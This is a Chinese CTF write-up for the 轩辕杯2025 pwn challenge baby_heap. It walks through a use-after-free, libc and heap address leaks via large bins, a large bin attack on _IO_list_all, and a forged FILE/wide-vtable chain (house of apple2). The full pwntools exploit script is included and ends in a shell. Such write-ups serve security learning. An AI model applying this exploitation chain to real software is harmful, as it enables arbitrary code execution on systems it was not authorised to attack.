轩辕杯2025 Pwn baby_heap WP(house_of_apple2)

checksec:

保护全开 64位

IDA64打开 整理函数

add:

最多能申请17个chunk,只能申请0x410以上大小的chunk,也就是只能申请large bin对应的chunk

edit:

正常的编辑

delete:

存在UAF漏洞,且只能free两次

show:

正常展示出内容

发现只能申请large chunk,,存在UAF漏洞,所以先利用Large bin泄露libc基址:

python 复制代码
add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)
add(4, 0x500)
show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21b0e0
print(hex(libc_base))

因为有UAF 泄露基址相对容易

接下来利用Large bin attack把IO_list_all地址改为堆地址

python 复制代码
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']

fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

把chunk1的bk_nextsize编辑为_IO_list_all-0x20,其他不变

chunk3比chunk1要小,插入时不会检查bk_nextsize 从而能够覆盖目标地址

可以看到,_IO_list_all的位置成功指向的chunk3的地址

再下一步,就是泄露堆地址并利用house of apple2打

python 复制代码
show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

设置的FILE结构体检查要求:

_IO_write_ptr > _IO_write_base 1 > 0

_IO_buf_base置为0

fileno为有效数字,这里设置为2:标准错误流(只要是有效的fileno就可以)

_old_offset&_offset=-1:表示无有效偏移量

_IO_wide_data:指向Fake_Fake_IO_wide_data的地址(伪造的),这里需要用调试得出

fake vtable:指向_IO_wfile_jumps_addr 虚函数表 house of apple的控制程序流套路

Fake_Fake_IO_wide_data:伪造的_IO_wide_data,在偏移0xe0位写入Fake_wide_vtable所在地址

Fake_wide_vtable:伪造的_IO_jump_t ,其中偏移为0x68的位置为__doallocate 将其改写为system函数

再把Fake_wide_vtable对应的堆填满直到相邻堆的size位,将其修改为' sh'(对应fake_file的flag位),这也是为什么chunk2要设置成0x458,是为了将下一个chunk的size位修改了

最后再调用exit()就能get shell

总exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./babyheap')
libc = ELF('./libc.so.6')
def add(index, size):
    p.sendlineafter(b"choice:\n", b'1')
    p.sendlineafter(b'index:\n', str(index))
    p.sendlineafter(b'size:\n' , str(size))

def delete(index):
    p.sendlineafter(b'choice:\n' , b'2')
    p.sendlineafter(b'index:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice:\n' , b'3')
    p.sendlineafter(b'index:\n' , str(index))
    p.sendlineafter(b'content:\n' , message)

def show(index):
    p.sendlineafter(b'choice:\n' , b'4')
    p.sendlineafter(b'index:\n' , str(index))

gdb.attach(p)

add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)

show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21ace0
print(hex(libc_base))
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']

fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

p.sendlineafter(b"choice:\n", str(5)) #exit(0)
p.interactive()
相关推荐
学逆向的几秒前
PE——RVA与FOA的转换
开发语言·网络安全·pe
2601_962097566 分钟前
摩根大通:AI发现漏洞速度远超修补能力 网络风险持续累积
网络安全·ai·工业设施·漏洞修补·补丁缺口
是隼人11 分钟前
buuctf-pwn wustctf2020_closed(文件描述符)题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
YOLO数据集集合27 分钟前
工地开放危险区域检测数据集 | 工地安全 开放区域检测 临边防护9050期
安全·无人机·工地·工地安全·工地检测·危险区域监测
名字还没想好☜1 小时前
Java 用 LinkedHashMap 三行实现 LRU 缓存:accessOrder、removeEldestEntry 与线程安全
java·后端·安全·spring·缓存
是隼人1 小时前
buuctf-pwn wdb_2018_3rd_soEasy(ret2shellcode)题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
腾视科技-AI11 小时前
腾视科技AIBOX双版本重磅发布!本地安全与全球适配,解锁视频智能新可能
大数据·人工智能·科技·安全·大模型·腾视科技·ai算力盒
迪康coolmu11 小时前
企业文档安全防护体系拆解:从备份、防勒索到全链路水印管控
安全
xierui12312313 小时前
给内容 Agent 接平台账号前,先设计四层权限:读、写、预填、提交
人工智能·网络安全·aigc·软件工程
技术不好的崎鸣同学15 小时前
第一章:PEB结构解析与内存定位
windows·安全·系统安全